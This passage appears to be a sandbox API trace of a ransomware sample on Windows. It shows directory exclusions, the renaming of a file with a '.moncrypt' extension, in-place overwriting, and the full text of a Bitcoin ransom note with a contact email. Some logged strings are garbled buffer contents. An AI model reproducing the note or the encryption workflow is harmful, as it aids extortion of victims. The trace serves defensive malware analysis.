GlobalHandle (pMem=0x550170) returned 0x440004 [0054.848] GlobalUnlock (hMem=0x440004) returned 0 [0054.848] GlobalLock (hMem=0x440004) returned 0x550170 [0054.848] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.848] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.848] GlobalUnlock (hMem=0x440004) returned 0 [0054.848] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.848] GlobalUnlock (hMem=0x44000c) returned 0 [0054.848] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.848] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.848] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.848] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.849] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.849] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.849] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.849] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.849] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.849] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.849] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.849] GlobalUnlock (hMem=0x44000c) returned 0 [0054.849] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.849] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.849] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.849] GlobalUnlock (hMem=0x44000c) returned 0 [0054.849] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.849] GlobalUnlock (hMem=0x440004) returned 0 [0054.849] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.849] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enes\\") returned 0x3d [0054.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.851] GlobalLock (hMem=0x440004) returned 0x550170 [0054.851] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.851] GlobalUnlock (hMem=0x440004) returned 0 [0054.851] GlobalLock (hMem=0x440004) returned 0x550170 [0054.851] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.851] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.851] GlobalUnlock (hMem=0x440004) returned 0 [0054.851] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.851] GlobalUnlock (hMem=0x44000c) returned 0 [0054.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.851] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.851] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0054.851] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.851] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.852] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.852] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.852] GlobalUnlock (hMem=0x44000c) returned 0 [0054.852] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.852] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.852] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.852] GlobalUnlock (hMem=0x44000c) returned 0 [0054.852] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.852] GlobalUnlock (hMem=0x440004) returned 0 [0054.852] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.852] CharLowerBuffW (in: lpsz="MSB1ENES.ITS", cchLength=0xc | out: lpsz="msb1enes.its") returned 0xc [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpUsedDefaultChar=0x0) returned 73 [0054.853] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0054.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpUsedDefaultChar=0x0) returned 4 [0054.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.853] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.854] CloseHandle (hObject=0x18c) returned 1 [0054.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\я")) returned 1 [0054.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0x54e240 [0054.855] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.855] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.855] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", dwFileAttributes=0x20) returned 1 [0054.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.moncrypt")) returned 1 [0054.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.857] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.857] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xeed1e [0054.857] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.857] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.866] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.866] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.866] GlobalUnlock (hMem=0x44000c) returned 0 [0054.866] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0054.866] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.867] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.867] GlobalUnlock (hMem=0x44000c) returned 0 [0054.867] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.867] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.867] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.867] GlobalUnlock (hMem=0x440004) returned 0 [0054.867] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.867] GlobalUnlock (hMem=0x44000c) returned 0 [0054.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.868] GlobalUnlock (hMem=0x44000c) returned 0 [0054.868] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.868] GlobalUnlock (hMem=0x44000c) returned 0 [0054.868] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.868] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.868] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.868] SetFilePointer (in: hFile=0x18c, lDistanceToMove=978206, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xeed1e [0054.868] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.870] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.870] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.881] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.881] CloseHandle (hObject=0x18c) returned 1 [0054.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.895] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.895] CloseHandle (hObject=0x18c) returned 1 [0054.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0054.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.896] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.896] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.896] GlobalUnlock (hMem=0x44000c) returned 0 [0054.896] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.896] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.896] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.896] GlobalUnlock (hMem=0x44000c) returned 0 [0054.896] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.896] GlobalUnlock (hMem=0x440004) returned 0 [0054.896] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a6f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.896] GetLastError () returned 0x2 [0054.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 